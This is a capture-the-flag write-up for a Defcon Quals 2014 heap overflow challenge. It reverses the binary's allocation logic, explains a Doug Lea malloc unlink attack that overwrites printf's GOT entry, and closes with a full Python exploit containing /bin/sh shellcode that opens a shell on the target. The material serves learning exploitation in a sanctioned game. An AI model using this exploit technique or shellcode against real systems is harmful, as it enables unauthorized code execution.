Baby's First Heap Exploit - Defcon Quals 2014



Analysis

This challenge presents us a with 32 bit, ELF executable with debugging information. We connect and see some allocation and freeing happening and can take a reasonable guess as to the fact that there may be a heap overflow. This guess is confirmed with some simple fuzzing, mainly sending input larger then 260 bytes.

First Connection

First Connection

We then load the binary into Hopper and get a cursory overview of the functionality. The pseudo code produced is shown below:

function sub_804890b {
    esp = (esp & 0xfffffff0) - 0x1340;
    _setvbuf(*stdout@@GLIBC_2.0, 0x0, 0x2, 0x0);
    _signal(0xe, sig_alarm_handler);
    _alarm(0x5a);
    mysrand(0x1234);
    _puts("\\nWelcome to your first heap overflow...");
    _puts("I am going to allocate 20 objects...");
    _puts("Using Dougle Lee Allocator 2.6.1...\\nGoodluck!\\n");
    *exit_func = do_exit;
    _printf("Exit function pointer is at %X address.\\n", exit_func);
    while (*(esp + 0x133c) <= 0x13) {
            randrange(0x200, 0x500);
            if (*(esp + 0x133c) == 0xa) {
            }
            *(esp + *(esp + 0x133c) * 0x8 + 0x10) = malloc(*(esp + 0x1338));
            *(esp + *(esp + 0x133c) * 0x8 + 0x14) = *(esp + 0x1338);
            _printf("[ALLOC][loc=%X][size=%d]\\n", *(esp + *(esp + 0x133c) * 0x8 + 0x10), *(esp + 0x1338));
    }
    _printf("Write to object [size=%d]:\\n", *(esp + 0x64));
    get_my_line(esp + 0x330, 0x1000);
    _memcpy(*(esp + 0x60));
    _printf("Copied %d bytes.\\n", *(esp + 0x1334));
    while (*(esp + 0x133c) <= 0x13) {
            _printf("[FREE][address=%X]\\n", *(esp + *(esp + 0x133c) * 0x8 + 0x10));
            free(*(esp + *(esp + 0x133c) * 0x8 + 0x10));
    }
    (*exit_func)(0x1);
    return 0x0;
}

As can be seen the overview here is relatively clear. The program allocates 20 blocks of memory onto the heap, printing out each address as it goes, then locates the block of size 260 and reads up to 0x1000 bytes of user input into it. If this block overflows into the next block it will corrupt the next block’s metadata. Next the program frees the all the allocations potentially leading to an exploitable condition if the heap metadata is untrustworthy. An important part to note here is the fact that the program has been compiled against Doug Lea malloc rather then a more modern version so protections like safe unlinking are not present. Knowing these things we proceeded to write a standard unlink exploit highlighted in the infamous Once Upon a Free() … , located here: http://phrack.org/issues/57/9.html.

Example unlink technique

One additional note: the binary does not have any socket functionality we used socat to emulate the game servers configuration.

Exploitation

First step is to craft the fake metadata to trick the unlinker into thinking the block we corrupt is still valid. We can create a 4-byte write anything anywhere condition by corrupting the forward and backward pointers of the block. Here I got stuck for a few moments deciding what to corrupt with this exploitation primitive. Running the binary with strace we note that mprotect is called on the heap, marking it executable. All that we need to do is divert execution to our block and place shellcode there to achieve arbitrary code execution. We chose to overwrite the GOT with the address of our heap block and fill it with shellcode.  We overwrite printf due to the fact that it is called multiple times after our overwrite happens thus making for a perfect trigger function. From here it is simply a matter of launching our exploit and retrieving the flag. The final exploit is below and also on our github.

from isis import *

debug = False

# parse the output to get heap address we will be writing to
def get_address(x):
	address = ""
	for i in x:
		if "260" in i[20:]:
			address = i
			break
	address = address[12:19]
	return "0x"+address

s= socket.socket()
s.connect(("localhost",2323))
#s.connect(("babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me", 4088))
time.sleep(0.1)

#local /bin/sh shellcode
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"
	"\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80")

if debug: #give time to attach debugger
	raw_input("?")

x = s.recv(0x500)
x = x.split("\n")
final = int(get_address(x),16)
print "HEAP ADDRESS: " + hex(final)

#address of printf in the got
payload = lei((0x0804c004-0x8))
#overwrite with our heap block
payload += lei(final+0x8)
#nop sled + shellcode + nops
payload += "\x90" * 100
payload += shellcode
payload += "\x90"* ((252-100)-len(shellcode))
#large hex numbers to be interpreted as negative values by the unlinker
payload += lei(0xfffffff8)
payload += lei(0xfffffffb)

s.send(payload +"\n")
time.sleep(0.1)
p = s.recv(0x500)
if debug:
	print p
telnet_shell(s)